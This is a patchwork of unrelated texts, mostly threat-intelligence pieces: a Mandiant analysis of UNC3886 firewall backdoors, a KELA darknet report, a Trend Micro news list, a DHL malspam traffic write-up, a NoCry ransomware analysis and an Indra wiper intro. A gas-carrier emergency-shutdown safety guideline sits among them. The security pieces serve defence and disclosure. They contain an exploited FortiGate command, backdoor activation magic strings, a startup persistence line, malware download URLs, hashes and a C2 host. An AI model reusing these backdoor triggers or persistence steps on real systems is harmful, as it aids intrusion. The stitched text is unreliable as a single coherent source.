The threat actor deleted these FortiManager scripts from the FortiManager device before they could be recovered for analysis, but correlation of multiple event log types show that the scripts took advantage of a path traversal vulnerability (CVE-2022-41328). The vulnerability was exploited by the threat actor using the command `execute wireless-controller hs20-icon upload-icon`. This command allowed the threat actor to overwrite legitimate files in a normally restricted system directory.
Successful exploitation of the vulnerability (CVE-2022-41328) is not logged in FortiGate elogs. Around the time of the FortiManager script execution, the elogs recorded the threat actor’s failed attempts to overwrite the system file `/bin/lspci` using this exploit.
Fortinet confirmed the exploitation of this command was not seen prior to these events and assigned the designation CVE-2022-41328. Fortinet successfully replicated the exploit using the syntax seen in the failed command events.
Further supporting evidence of attempted exploitation was found in FortiGuard logs events with “file_transfer: TFTP.Server.Buffer.Overflow repeated X times” in the msg field. These events showed connections from the FortiGate firewalls to the FortiAnalyzer device, where the packet contents included the lscpi directory traversal string.
#### Symlink to Suspected Backdoor (/bin/lspci -> /bin/sysctl)
Mandiant reviewed file listings from multiple FortiGate firewalls in search of modified versions of `/bin/lspci` based on the failed commands seen within FortiGate logs. In total, two variants of `/bin/lspci` were identified; a standalone version of the binary and a version which was symlinked to `/bin/sysctl`. Fortinet confirmed that `/bin/lspci` should always be a standalone binary.
File listing entries for `/bin/lspci` and `/bin/sysctl` on the compromised FortiGate firewalls contained similar timestamps that did not align with other legitimate binaries on the FortiGate machines. Additionally, the file size for `/bin/sysctl` on the compromised FortiGate firewall was much larger than reported on non-compromised devices.
Under normal circumstances, the command `diagnose hardware lscpi` is used to list PCIe devices connected to the FortiGate firewall, but once the threat actor replaced the legitimate lspci binary with a symlink, the diagnostic command could execute the sysctl file the threat actor modified instead.
Mandiant coordinated with Fortinet to obtain a forensic image of the compromised FortiGate firewalls and better identify the expected contents of the devices. Comparing the forensic image of the compromised FortiGate firewall to a known-good version, Fortinet identified a trojanized firmware that contained a persistent backdoor. Mandiant refers to the backdoor as a new malware family named CASTLETAP.
#### CASTLETAP (FortiGate Firewall Backdoor)
Analysis on the FortiGate firewalls identified an additional malicious file `/bin/fgfm`. Analysis of `/bin/fgfm` determined it to be a passive backdoor, named CASTLETAP, that listened for a specialized ICMP packet for activation. The threat actor likely named the file ‘fgfm’ in an attempt to disguise the backdoor as the legitimate service ‘fgfmd’ which facilitates communication between the FortiManager and FortiGate firewalls.
Once executed, CASTLETAP created a raw promiscuous socket to sniff network traffic. CASTLETAP then filtered and XOR decoded a 9-byte magic activation string in the payload of an ICMP echo request packet.
| Magic String | Description |
|--------------|-------------|
| 1qaz@WSXa | Parse C2 information from ICMP payload and connect to it over SSL. |
| hpaVAj2FJ | Kills CASTLETAP process. |
To decode the C2 information within the ICMP packet, a single-byte XOR key was derived from the Epoch date stamp to decrypt the payload data. This meant the encoding standard changed every day.
Once connected to the C2, CASTLETAP could accept multiple types of commands.
| Command | Description |
|---------|-------------|
| 0x1 | Upload file (to victim) |
| 0x2 | Download file (from victim) |
| 0x3 | Spawn busybox based command shell, otherwise fallback to a normal command shell. |
| 0x4 | Continue receiving |
| 0x5 | Receive complete |
Once CASTLETAP was deployed to the FortiGate firewalls, the threat actor connected to ESXi and vCenter machines. The threat actor deployed VIRTUALPITA and VIRTUALPIE to establish persistence, allowing for continued access to the hypervisors and the guest machines.
### Scenario #2 (Detailed): FortiManager Not Exposed to the Internet
The technical details that follow describe the attack path taken by the threat actor where the FortiManager had network Access Control Lists (ACL) set up to restrict external access.
#### Regaining Access to the Internet-restricted FortiManager
When ACLs were implemented on the FortiManager device, the threat actor lost direct public access to the device. To regain access to the FortiManager, the threat actor pivoted from a FortiGate Firewall compromised with CASTLETAP. The threat actor then deployed the following three malicious files to the FortiManager upon successful reconnection.
| Malware | File Path | Description |
|---------|-----------|-------------|
| N/A | /bin/support | Launches /bin/auth and /bin/klogd and deletes the two files along with /bin/support from disk. |
| TABLEFLIP | /bin/auth | A passive utility to setup network traffic redirection from a specific IP address destined to the FortiManager on TCP port 541 to another specified port. |
| REPTILE | /bin/klogd | A backdoor utility that listens for a specialized packet for activation. |
The file `/bin/support` served as a launch script to execute `/bin/klogd` (REPTILE variant) and `/bin/auth` (TABLEFLIP). The attacker modified the startup file `/etc/init.d/localnet` to execute the line ‘nohup /bin/support &’ so the script would run every time the system was rebooted.
#### TABLEFLIP (Traffic Redirection Utility)
To enable continued access directly from the Internet, the threat actor implemented TABLEFLIP, a passive traffic redirection utility that listens on all active interfaces for specialized command packets. With this utility in place, the threat actor would be able to connect directly to the FortiManager.
TABLEFLIP was configured to listen on all active interfaces for TCP packets and searches at the start of the TCP payload for a specific magic packet. If the magic number was found, the malware extracted a XOR key from the TCP payload. This key was used as a seed for XOR based sequential decryption.
Traffic redirection was accomplished by adding iptables rules on the FortiManager system. When assigned to delete traffic redirection, TABLEFLIP utilized the grep command to filter on all lines in the PREROUTING chain which contained the IP address and redirection port of interest.
#### REPTILE (Backdoor)
To achieve persistent access on the FortiManager device, the threat actor deployed a backdoor with the filename `/bin/klogd` that Mandiant refers to as REPTILE, a variant of a publicly available Linux kernel module (LKM) rootkit. With the assistance of TABLEFLIP, the threat actor was able to successfully forward traffic and access the REPTILE backdoor using iptables traffic redirection rules.
Once executed, REPTILE created a packet socket to receive OSI layer 2 packets. When a packet was received, the backdoor would perform checks to determine if a magic string was present.
| Magic String | Description |
|--------------|-------------|
| mznCvqSBo | Parse C2 information from OSI layer 2 packet and connects to it over SSL. |
| hpaVAj2FJ | Kills REPTILE process. |
If the magic string “mznCvqSBo” was found, a reverse shell was created with the C2 IP address and destination port extracted from the rest of the activation packet payload. If no magic strings were found, the backdoor continued to listen for other connections.
### Threat Actor Anti-Forensics
#### Clearing and Modifying Logs
Mandiant analyzed the system memory of the FortiManager and identified threat actor commands used to clear specific events that contained the threat actor’s IP address from multiple log sources.
#### Disabling File System Verification on Startup
In an attempt to skip digital signature verification checks made to the file system on boot, the threat actor added a command to the startup config `/etc/init.d/localnet` within the rootfs.gz archive of both FortiManager and FortiAnalyzer devices.
### Attribution
UNC3886 is an advanced cyber espionage group with unique capabilities in how they operate on-network as well as the tools they utilize in their campaigns. UNC3886 has been observed targeting firewall and virtualization technologies which lack EDR support. Their ability to manipulate firewall firmware and exploit a zero-day indicates they have curated a deeper-level of understanding of such technologies.
### Conclusion
The activity discussed in this blog post is further evidence that advanced cyber espionage threat actors are taking advantage of any technology available to persist and traverse a target environment, especially those technologies that do not support EDR solutions. This presents a unique challenge for investigators as many network appliances lack solutions to detect runtime modifications made to the underlying operating system and require direct involvement of the manufacturer to collect forensic images. Cross-organizational communication and collaboration is key to providing both manufacturers with early notice of new attack methods in the wild before they are made public and investigators with expertise to better shed light on these new attacks.
Mandiant recommends organizations using the ESXi and the VMware infrastructure suite follow the hardening steps outlined in this blog post to minimize the attack surface of ESXi hosts. |
# Zooming into Darknet Threats Targeting Japanese Organizations
In light of rising cyberattacks and ahead of the 2021 Tokyo Games, Japan is investing in cybersecurity efforts, including the establishment of a government entity dubbed the Digital Agency. This decision follows recent fraud involving Japanese bank accounts linked to cashless payment services, which could be achieved by brute-forcing, using compromised credentials, or via other attack vectors. Attacks on the banking infrastructure are just part of the threats targeting Japanese organizations, recently explored by KELA. They include:
## Leaked Data and Compromised Accounts
KELA detected that data belonging to Japanese corporations, as well as government and educational entities, is actively circulating in the darknet and being demanded by threat actors. This data can be used to gain initial network accesses, i.e., entry points to targeted networks.
### Initial Network Accesses
KELA observed several compromised Japanese companies, ranging from corporations to universities, including one Japan ministry target during June-October 2020. These accesses can be leveraged to eventually deploy ransomware.
### Ransomware Incidents
KELA detected at least 11 Japanese victims of ransomware attacks in June-October 2020. The affected companies are from manufacturing, construction, and government-related industries, with top victims having around $143 billion, $33 billion, and $2 billion yearly revenue.
## Leaked Data and Compromised Accounts: Demand for Japanese Companies
Among the most prominent threats on the darknet, KELA observed leaks and sales of Japanese entities’ data. While many offers are related to regular users, some actors are specifically looking for corporate data of Japanese organizations.
Exposed data may include personal information of companies’ customers and employees, sensitive internal documents, and credentials to the company’s resources. For example, the KelvinSecurityTeam hacking group has been trading a database of a major Japan corporation since July 2020. The database contains records of 150,000 customers, possibly Japanese ones, including names, addresses, birth dates, emails, and phone numbers, as well as some data related to their work history.
Exposed credentials can be divided into two types:
- **Leaked credentials:** Corporate email logins, with or without passwords, which are usually leaked or sold by threat actors on underground forums. KELA discovered more than 100 million exposed Japanese emails in their sources.
- **Compromised accounts:** Logins and passwords to accounts that grant access to tools and software used in a compromised environment, such as RDP, VPN solutions, and more, which are usually sold through underground autoshops.
This data can enable attackers to access the company’s resources and provide further malicious activity, ranging from social engineering to malware attacks. Ultimately, every leaked data can theoretically become an entry point for large-scale attacks.
## Network Accesses: Entry Points to Japanese Networks for Ransomware Attackers
Initial network accesses, offered on underground forums, can serve as entry points for ransomware operators and other malicious actors looking for a foothold from where they can move laterally and deploy ransomware or steal intellectual property. Over the last three months, KELA observed several accesses to Japanese organizations being sold in the darknet. While overall numbers are lower than other countries like the US, each of these accesses can be turned into millions of ransom demanded by buyers.
The most dangerous offer appears to be related to a remote code execution vulnerability in the Japanese Ministry of Justice network. Another access on sale allegedly belonged to a “Japan ship inspection network” and had domain admin level privileges, enabling attackers to perform malicious actions on behalf of the targeted network’s administrator.
## Ransomware Incidents: (At Least) Seven Gangs Targeting Japanese Organizations
During June-October 2020, at least 11 Japanese victims suffered ransomware attacks, with the most well-known victims being Honda and Canon. The most active ransomware gang targeting Japanese entities appears to be the DoppelPaymer gang, which has recently attacked four large Japanese companies from the construction, automotive, and manufacturing industries.
Other ransomware gangs spotted attacking Japanese entities include Maze, Sodinokibi, Ekans (Snake), Egregor, and LockBit. Not much is known about initial infection vectors used to compromise networks of Japanese victims. However, it’s clear that the attack surface is expanding due to COVID-19-related issues and the increasing trend for remote working.
For example, one Japanese victim, a manufacturing company, was probably attacked by LockBit using exploit code for a Pulse Secure vulnerability (CVE-2019-11510). The Pulse Secure leak possibly affects about 117 Japanese entities, based on KELA’s analysis of the IP addresses.
## Conclusions and Mitigation Efforts
As can be concluded from this research, more and more threat actors, including Advanced APT groups and nation-state actors, are considering Japanese organizations as valuable targets and are actively attacking them via opportunistic and targeted attacks. Given the latest “work from home” trend and the increased attack surface, KELA has observed many commercial and governmental Japanese entities being recently attacked by known actors.
KELA strongly believes that real-time monitoring of darknet communities for both supply and demand can hold significant intelligence value for Japanese defenders. It enables Japanese entities to be more proactive to threats, learn about new tactics used by malicious actors, and take measures to protect against them. |
# Research, News, and Perspectives
## Celebrating 15 Years of Pwn2Own
Join Erin Sindelar, Mike Gibson, Brian Gorenc, and Dustin Childs as they discuss Pwn2Own's 15th anniversary, what we've learned, and how the program will continue to serve the cybersecurity community in the future.
**Latest News** May 25, 2022
## S4x22: ICS Security Creates the Future
The ICS Security Event S4 was held for the first time in two years, bringing together more than 800 business leaders and specialists from around the world to Miami Beach on 19-21 Feb 2022. The theme was CREATE THE FUTURE.
**Security Strategies** May 12, 2022
## Security Above and Beyond CNAPPs
How Trend Micro’s unified cybersecurity platform is transforming cloud security.
**Security Strategies** May 10, 2022
## Bruised but Not Broken: The Resurgence of the Emotet Botnet Malware
During the first quarter of 2022, we discovered a significant number of infections using multiple new Emotet variants that employed both old and new techniques to trick their intended victims into accessing malicious links and enabling macro content.
**Research** May 19, 2022
## New APT Group Earth Berberoka Targets Gambling Websites With Old and New Malware
We recently found a new advanced persistent threat (APT) group that we have dubbed Earth Berberoka (aka GamblingPuppet). This APT group targets gambling websites on Windows, macOS, and Linux platforms using old and new malware families.
**April 27, 2022**
## Why Trend Micro is Evolving Its Approach to Enterprise Protection
**Security Strategies** May 17, 2022
## New Linux-Based Ransomware Cheerscrypt Targets ESXi Devices
Trend Micro Research detected “Cheerscrypt”, a new Linux-based ransomware variant that compromises ESXi servers. We discuss our initial findings in this report.
**Research** May 25, 2022
## Fake Mobile Apps Steal Facebook Credentials, Cryptocurrency-Related Keys
We recently observed a number of apps on Google Play designed to perform malicious activities such as stealing user credentials and other sensitive user information, including private keys.
**Research** May 16, 2022
## Uncovering a Kingminer Botnet Attack Using Trend Micro™ Managed XDR
Trend Micro’s Managed XDR team addressed a Kingminer botnet attack conducted through an SQL exploit. We discuss our findings and analysis in this report.
**Research** May 18, 2022
## The Fault in Our kubelets: Analyzing the Security of Publicly Exposed Kubernetes Clusters
While researching cloud-native tools, our Shodan scan revealed over 200,000 publicly exposed Kubernetes clusters and kubelet ports that can be abused by criminals.
**May 24, 2022**
## Examining the Black Basta Ransomware’s Infection Routine
We analyze the Black Basta ransomware and examine the malicious actor’s familiar infection tactics.
**Research** May 09, 2022 |
# DHL Invoice Malspam - Various Subject Lines
**Associated Files:**
- ZIP archive of the pcap: `2017-04-03-DHL-malspam-traffic.pcap.zip` (9.2 MB, 9,156,384 bytes)
- `2017-04-03-DHL-malspam-traffic.pcap` (10,643,014 bytes)
- ZIP archive of the malware: `2017-04-03-DHL-and-image-malspam-and-artifacts.zip` (694 kB, 684,209 bytes)
- `2017-04-03-fake-DHL-malspam-0928-UTC.eml` (22,764 bytes)
- `2017-04-03-fake-DHL-malspam-1117-UTC.eml` (22,746 bytes)
- `2017-04-03-fake-DHL-malspam-1220-UTC.eml` (22,812 bytes)
- `2017-04-03-fake-image-malspam-1357-UTC.eml` (22,126 bytes)
- `2017-04-03-fake-image-malspam-1546-UTC.eml` (22,646 bytes)
- `2017-04-03-fake-image-malspam-1646-UTC.eml` (22,391 bytes)
- `33521.exe` (353,965 bytes)
- `462137.exe` (295,936 bytes)
- `Balt.dll` (49,152 bytes)
- `Commercial_CVS_inv.03.04.2017.cvs.js` (25,273 bytes)
- `Commercial_CVS_inv.03.04.2017.zip` (15,870 bytes)
- `img-20170403-0014,jpeg.zip` (15,446 bytes)
- `img-20170403-0054.jpeg.js` (24,464 bytes)
**Notes:**
Saw two waves of malspam with zip attachments containing .js files that generated the same infection traffic. Post-infection traffic generated alerts for Ursnif and Pushdo.
**Email Headers - First Wave:**
- Date: Monday 2017-04-03 at 09:27 UTC
- From: `<[email protected]>`
- Subject: commercial invoice - customer 4364201038 102642523877
- Attachment name: `Commercial_CVS_inv.03.04.2017.zip`
- Extracted file name: `Commercial_CVS_inv.03.04.2017.cvs.js`
- Date: Monday 2017-04-03 at 11:17 UTC
- From: `<[email protected]>`
- Subject: NOTICE CUSTOMS CHARGES 0094793224 767285436700
- Attachment name: `Commercial_CVS_inv.03.04.2017.zip`
- Extracted file name: `Commercial_CVS_inv.03.04.2017.cvs.js`
- Date: Monday 2017-04-03 at 12:20 UTC
- From: `<[email protected]>`
- Subject: Dhl Commercial Invoices 6807164709 856884589470
- Attachment name: `Commercial_CVS_inv.03.04.2017.zip`
- Extracted file name: `Commercial_CVS_inv.03.04.2017.cvs.js`
**Email Headers - Second Wave:**
- Date: Monday 2017-04-03 at 13:57 UTC
- From: `[email protected]`
- Subject: photo 08
- Attachment name: `img-20170403-0089,jpeg.zip`
- Extracted file name: `img-20170403-0054.jpeg.js`
- Date: Monday 2017-04-03 at 15:46 UTC
- From: `[email protected]`
- Subject: img_2550
- Attachment name: `img-20170403-0014,jpeg.zip`
- Extracted file name: `img-20170403-0054.jpeg.js`
- Date: Monday 2017-04-03 at 16:46 UTC
- From: `[email protected]`
- Subject: photo 2DNXAY
- Attachment name: `img-20170403-0015,jpeg.zip`
- Extracted file name: `img-20170403-0054.jpeg.js`
**Associated Domains:**
- 178.136.218.52 port 80 - sillo.net - GET /1002.exe
- 31.135.125.26 port 80 - monsteradds.at - GET /x64.bin -- [Ursnif module download]
- 52.52.2.146 port 80 - constitution.org - GET /usdeclar.txt -- [Gozi/Ursnif/Papras connectivity check]
- 5.248.126.219 port 80 - sillo.net - GET /30.bin -- [Zbot Generic URI/header struct .bin]
- Various IP addresses on port TCP 80 - various domains - POST / -- [Pushdo.s checkin]
- Various IP addresses on various TCP ports - various domains - Tor traffic
- Various IP addresses on various ports - attempted TCP connections and non-Tor traffic
**File Hashes:**
- **Email Attachments:**
- SHA256 hash: `1b402c3ccfe5380425023022614abc4af53369536bda9c70b3074e50484bb340`
- File name: `Commercial_CVS_inv.03.04.2017.zip`
- SHA256 hash: `ef3bbbace6eeaf06c2101612d45d694f734b6759ec89b83db0e3d07ea5c49f57`
- File name: `img-20170403-0014,jpeg.zip`
- File name: `img-20170403-0015,jpeg.zip`
- File name: `img-20170403-0089,jpeg.zip`
- **Extracted JS Files:**
- SHA256 hash: `faad4f8730db9825cfc5fd29f105a16849c83e61e836d68b2e3eff55fe0f1ec5`
- File name: `Commercial_CVS_inv.03.04.2017.cvs.js`
- SHA256 hash: `a62712ff422477b15e512d3d83285d61c760c468e8f8bae26a7e5f0174e57db9`
- File name: `img-20170403-0054.jpeg.js`
**Files Retrieved from the Infected Host:**
- SHA256 hash: `94380803ac48bec2ca431f968240f4444fdc3a30bd04dbc62bf099bf0ece01f8`
- File location: `C:\Users\[username]\AppData\Local\Temp\33521.exe`
- File location: `C:\Users\[username]\AppData\Roaming\Microsoft\Cmcfspex\admpptsp.exe`
- SHA256 hash: `d26161bc381625ade7fb51db987f2e69c244acc642911948b1507860e90fd3f9`
- File location: `C:\Users\[username]\AppData\Local\Temp\462137.exe`
- File location: `C:\Users\[username]\bsebegfabe.exe`
- SHA256 hash: `7b1bcab8e3aa932c6ebac8df67d0797b0c8aaa3a7870408085341500687720a6`
- File location: `C:\Users\[username]\AppData\Local\Temp\Balt.dll`
**Final Notes:**
Once again, here are the associated files:
- ZIP archive of the pcap: `2017-04-03-DHL-malspam-traffic.pcap.zip` (9.2 MB, 9,156,384 bytes)
- ZIP archive of the malware: `2017-04-03-DHL-and-image-malspam-and-artifacts.zip` (694 kB, 684,209 bytes)
ZIP files are password-protected with the standard password. If you don't know it, look at the "about" page of this website. |
# ESD Systems Recommendations for Emergency Shutdown and Related Safety Systems (Second Edition 2021)
## Introduction and Scope
### Introduction
Emergency shutdown (ESD) is a design feature used in process systems to reduce risk. In the liquefied gas industry, ESD is a safety system designed to minimize the consequences of an incident. This document is the outcome of a review of ESD systems on liquefied gas carriers. Although ESD systems are distinct on gas carriers, they interact with other safety systems on the ship and terminal. Related safety systems include overflow control, ship shore link (SSL), vacuum protection, gas burning safety systems (GBSS), and emergency release systems (ERS).
This document discusses the requirements of the IGC Code for ESD and related safety systems and recommends additional measures. It updates and replaces the previous publication, ESD Arrangements & Linked Ship/Shore Systems for Liquefied Gas Carriers (2009), benefiting from advancements in safety philosophy, technological improvements, and lessons learned from incidents.
### Scope
This document is written at a level suitable for organizations involved in the design, integration, and use of ESD and related safety systems on liquefied gas carriers and terminals. The guidance assumes the reader is technically qualified and experienced in this subject. The recommendations are for new gas carriers and terminals only and are not intended for existing gas carriers or terminals. Shipyards, system designers, and owners of ships and terminals should review these recommendations when carrying out a major upgrade to ESD and related safety systems on an existing ship or terminal.
The primary focus is ESD systems for gas carriers, but it provides minimum recommendations for related safety systems where necessary. This document does not provide substantial guidance for terminal ESD and ERS. Although the guidance is particularly relevant to liquefied gas transfers, it may not be particularly relevant to regasification gas transfer operations.
## Key Safety System Philosophies
There are key philosophies that guide the design of safety systems, found in the IGC Code and the relevant IEC and ISO documents it references. This section provides a high-level summary of some important concepts.
### System Segregation
Although the IGC Code does not use layer of protection analysis (LOPA) terminology, it is helpful to visualize the layers that various systems form. A typical independent layer of protection diagram is shown.
The control, monitoring, and safety systems on a gas carrier can provide distinct and successive layers of protection. When the control of a process is not managed within a specific layer, the next layer above is activated.
### Independent and Fail-safe
The key requirements for safety systems are that they are independent and fail-safe. Independent means that a failure in one part of the system will not affect the other. The degree of independence required will be determined by the Flag State. Safety systems, such as the ESD system, vacuum protection, and overflow control, provide a safety function and are required to be independent from control and monitoring or alarm functions.
Fail-safe means that any failure will not lead to an unsafe condition. For example, the fail-safe of the ESD system would stop the movement of cargo by stopping pumps, compressors, and closing valves.
### System Availability
ESD is an important safety system and should always be active when there is any cargo on the ship. The ESD system should only be switched off for short periods for necessary maintenance. It may be inhibited temporarily for testing, but this should be for the minimum duration possible. The ESD system should be designed to clearly indicate when it is inhibited or switched off and should not permit cargo transfer operations in these conditions.
Cargo control systems should be designed to not permit cargo transfer operations unless the ESD system and SSL are connected and active. The status of the ESD and SSL systems should be clearly visible in the cargo control room (CCR).
### Alarm Management Lifecycle
The requirements of the IGC Code are prescriptive in nature, and the scope of the safety functions it covers may be sufficient for most gas carriers. However, for some designs of gas carriers, additional safety functions may be advisable. It is important to review the need for additional safety functions in a structured manner and follow industry standard best practices. Human factors should also be considered, and potential dangers such as alarm flooding should be avoided.
Any change to the alarm system on the ship should be carried out using the principles of the alarm management lifecycle. Changes should only be made by undergoing a documented process that involves a full hazard and operability (HAZOP) study and a management of change process.
### Maintenance and Testing
Chapter 13 of the IGC Code requires automation systems to be designed, installed, and tested in accordance with recognized standards, with particular reference to IEC 60092-504. Safety systems should be designed to ensure that it is practical to test all parts of the system. Operation and maintenance documentation should provide clear guidance on how to test the safety system and the required intervals for this to ensure that the safety system is maintained in operational condition.
The IGC Code requires cargo ESD and alarm systems to be tested before cargo transfer. This is typically carried out as part of pre-arrival tests, in the 24 hours before berthing. The SSL is tested after connection as part of pre-transfer tests.
## ESD Systems
ESD systems are safety systems that perform a critical function on a ship. This section provides a brief overview of IGC Code requirements and gives recommendations for ESD systems, including testing. The ESD system refers to the entire system, including remotely operated valves (ESD valves) and the ESD system logic controller (ESD controller).
### IGC Code Requirements
To understand the guidance in this document, it is recommended that the IGC Code requirements for ESD and related systems are read. Notable current IGC Code requirements are listed in Annex 1. For ESD, the requirements are grouped under ESD system, ESD valves, and ESD controller headings.
ESD is a defined term in the IGC Code and should not be extended to cover every safety system used in an emergency. The IGC Code states that the ESD system is intended to return the cargo system to a safe static condition so that any remedial action can be taken.
### Recommendations for ESD Systems
This section provides additional recommendations for and explanations of ESD systems.
#### ESD Valves
ESD valves should be designed to close as quickly as possible, taking surge pressures into account. The IGC Code requires ESD valves to close within 30 seconds of actuation. This is measured from the time the push-button is pressed to activate ESD until the valve is fully closed. To allow for some design tolerance, the range of 25 to 30 seconds is practical for ship valves.
Terminals should adjust valve timings with consideration for ship design limitations. When a ship is loading, terminal valves should close before ship valves to ensure that surge pressure is managed at the terminal side. Ships are generally not designed to withstand terminal surge pressures.
If receiving terminals set their ERS valves to close faster than 5 seconds, this may cause unacceptable pressure surge on a ship that is discharging. For this reason, it is not recommended to set ERS valve closure timing at less than 5 seconds.
#### Liquid Detection in the Vent System
On rare occasions, there is a possibility of cargo liquid presence in the vent system. This possibility is sufficiently serious to justify fitting additional liquid sensors to detect this event. The design of the liquid sensors should prevent them from being overridden. The liquid sensors should trigger a full ESD on detection of liquid.
#### ESD Function Overview
The primary functions of ESD are set by the IGC Code. Analysis of credible scenarios helps to improve understanding of the necessary functions of a safety system. For example, fire detection in the cargo area would most likely be the result of loss of containment of flammable cargo. In this circumstance, a suitable system should lead to full shutdown of cargo transfer operations and any gas burning in the engine room.
### Testing
The IGC Code requires cargo ESD and alarm systems to be tested before cargo transfer. This is typically carried out as part of pre-arrival tests, within 24 hours before berthing. The SSL is tested after connection as part of pre-transfer tests.
Not all ESD activation points need to be tested every time, as long as they are covered by a testing plan that covers the entire system within a specified time frame. This testing plan should form part of the ship’s planned maintenance routines.
## Overflow Control and Vacuum Protection
Overflow control and vacuum protection are safety systems that perform a critical function on a ship. This section provides a brief overview of IGC Code requirements and gives recommendations for overflow control systems, including testing.
### IGC Code Requirements
Vacuum protection systems are required for certain cargo tank designs. These systems consist of two independent pressure switches that will send a signal to stop suction of liquid or vapor from the cargo tanks. This requirement is distinct from ESD systems, as it is contained in Chapter 8 of the IGC Code.
Chapter 13 of the IGC Code requires overflow control to be provided for cargo tanks using two sensors that are both independent of the gauging system and of each other.
### Recommendations for Overflow Control
Although the IGC Code does not require overflow control for all types of cargo tanks, this is usually fitted in practice. Consequently, it is recommended to exceed the scope of the IGC Code guidance and fit overflow control for all cargo tanks, including any coolant tanks on deck.
Overflow control is an independent safety system, but it can make use of parts of the ESD system to achieve its function. For example, the shutoff valve on the cargo tank could be a dedicated valve for overflow control.
### Testing of Overflow Control
The IGC Code has specific requirements for testing overflow control systems. A function test should be carried out prior to cargo operations. A proof test is a periodic test that is carried out to detect dangerous hidden faults in a safety system.
## Gas Burning Safety System
The gas burning safety system (GBSS) performs a critical function. It is not part of the cargo system but, because it interfaces with the cargo ESD system, it is discussed here for completeness.
### IGC Code Requirements
Chapter 16 of the IGC Code dictates the safety systems for the use of cargo as a fuel. The GBSS refers to the entire system, including the master gas valve (MGV) and individual gas consumer isolation, and trips for rotating and fuel supply equipment.
### Explanation of the GBSS and ESD Interface
In practice, the initiators for shutting an MGV and stopping pumps and compressors result in the activation of the GBSS, which may also activate cargo ESD.
## Ship Shore Link
The purpose of the ship shore link (SSL) is to mitigate the consequences of an emergency by allowing either party to stop cargo transfer in a safe manner. This section provides a brief overview of IGC Code requirements and gives recommendations for the SSL, including testing.
### IGC Code Requirements
The IGC Code requires the ship’s ESD system to incorporate an SSL. The SSL extends the functionality of the ESD system by linking the ship and terminal.
### Recommendations
When an ESD occurs on a ship or terminal, the SSL sends a signal via the link. The received signal should initiate the shutdown of the relevant parts of the cargo transfer system. It is strongly recommended that all liquefied gas transfers are carried out with an SSL connected.
### Ship Shore Link Testing
The SSL should be inspected and tested as part of the pre-arrival test and after manifold connection as part of the pre-transfer test. The SSL test should be carried out before any cargo transfer or cooldown operations begin.
## Emergency Release Systems
The function of an emergency release system (ERS) is to protect the cargo transfer system and marine loading arm (MLA) and minimize spillage of liquefied gas through quick disconnection if a ship drifts out of its operating envelope. The ERS is not part of the ESD system, but because it interfaces with the terminal and ship ESD systems, it is discussed in this chapter.
### Design and Construction Standards
MLAs are typically designed, constructed, and tested using key publications.
### Explanation of ERS and ESD Interface
The ERS will trigger an emergency shutdown when the MLA moves into the shutdown area. This causes the ERS to send a signal to the terminal ESD system, activating it, which then sends a signal to the ship ESD system.
## Annexes
### Annex 1 – IGC Code References
This section provides a summary of ESD and related references in the IGC Code. ESD systems on liquefied gas carriers should be designed to meet the requirements of the IGC Code found in Chapters 5 and 18.
### Annex 2 – Ship Shore Link Systems
This section provides details on various types of connectors used in LNG and LPG applications, including pin configurations and operational notes. |
# Analysis of NoCry: A variant of the Judge ransomware
By Gijs Rijnders
May 16, 2021
In January this year, we published a blog post on our analysis of the Judge ransomware. We announced a free decryptor for Judge victims in this blog post, which is available through the NoMoreRansom initiative. Our decryptor has been helping victims to recover their files for free since its release.
After a few months, BleepingComputer wrote about a new variant of the Stupid ransomware, called NoCry. This variant was found by GrujaRS. When we first analyzed the Judge ransomware, we also found the alias: NoCry in the binary. As such, we went ahead to analyze NoCry and determined that it is a variant of Judge as well. Fortunately, our decryptor for Judge also decrypts files encrypted by the NoCry/Stupid ransomware. In this blog post, we discuss some differences between Judge and NoCry. Furthermore, we confirm that our decryptor also decrypts files affected by NoCry.
## Overview
The NoCry ransomware we analyzed is very similar to Judge, the one we previously looked at. It creates a mutex to prevent multiple instances from running in parallel, provides sandbox detection, and deletes system restore points. When those tasks are completed, the ransomware starts encrypting the victim’s files. The file encryption process is the same, and therefore, our decryptor can also be used for NoCry.
## Some slight differences
Looking closely, there are a couple of interesting differences between NoCry and the Judge ransomware we previously analyzed. For example, the mutex this time is: “rGoB8VnbP6W42hW5”. Furthermore, the screen displayed to the user after file encryption is completed is different. The screen displayed above is very similar to the one displayed by the WannaCry ransomware. The structure and colors of the screen are similar, and the countdown WannaCry presents is also 72 hours.
We found that the countdown in NoCry is a little bit different from the one presented by Judge. The ransom note screen of the previously analyzed Judge ransomware is displayed below. As we can see, the text above the countdown is: “Time left before the price goes up”. In the NoCry ransomware, the text changed to: “Your files will be lost on”, making the threat more serious. When these 72 hours pass, the ransomware deletes itself from the infected system. The “Decrypt” button on the ransom note screen is the only way for a victim to restore its files via the intended route. Therefore, once the 72 hours pass, the victim can no longer perform decryption. Using our decryptor however, decryption is still possible.
## A free decryptor
The file encryption process did not change, so the decryptor only requires some minor adjustments. Therefore, our current decryptor also decrypts (non-corrupted) files affected by this NoCry/Stupid variant. The decryptor remains free of charge and will be available via the NoMoreRansom initiative soon.
## Indicators of Compromise (IoC)
| Indicator | Value |
|------------------|-----------------------------------------------------------------------|
| SHA256 of | f2a842eb78e2be3cd1d638a3dabcf21f8fbc35dcd768bb772f5e6080d1f246cc |
| ransomware | |
| Command & | niddle-noddle-eyes[.]000webhostapp[.]com |
| control | hostname | |
# Indra — Hackers Behind Recent Attacks on Iran
**August 14, 2021**
## Introduction
These days, when we think of nation-state level damage, we immediately think of the nation-state level actor that must be responsible for it. While most attacks against a nation’s sensitive networks are indeed the work of other governments, the truth is that there is no magic shield that prevents a non-state sponsored entity from creating the same kind of havoc and harming critical infrastructure in order to make a statement.
In this piece, we present an analysis of a successful politically motivated attack on Iranian infrastructure that is suspected to be carried out by a non-state sponsored actor. This specific attack happened to be directed at Iran, but it could as easily have happened in New York or Berlin. We’ll look at some of the technical details and expose the actor behind the attack — thereby linking it to several other politically motivated attacks from earlier years.
## Key Findings
On July 9th and 10th, 2021, Iranian Railways and the Ministry of Roads and Urban Development systems became the subject of targeted cyber attacks. Check Point Research investigated these attacks and found multiple evidence that these attacks heavily rely on the attacker’s previous knowledge and reconnaissance of the targeted networks.
The attacks on Iran were found to be tactically and technically similar to previous activity against multiple private companies in Syria, which was carried out at least since 2019. We were able to tie this activity to a threat group that identifies itself as a regime opposition group, named Indra.
During these years, the attackers developed and deployed within victims’ networks at least three different versions of the wiper dubbed Meteor, Stardust, and Comet. Judging by the quality of the tools, their modus operandi, and their presence on social media, we find it unlikely that Indra is operated by a nation-state actor.
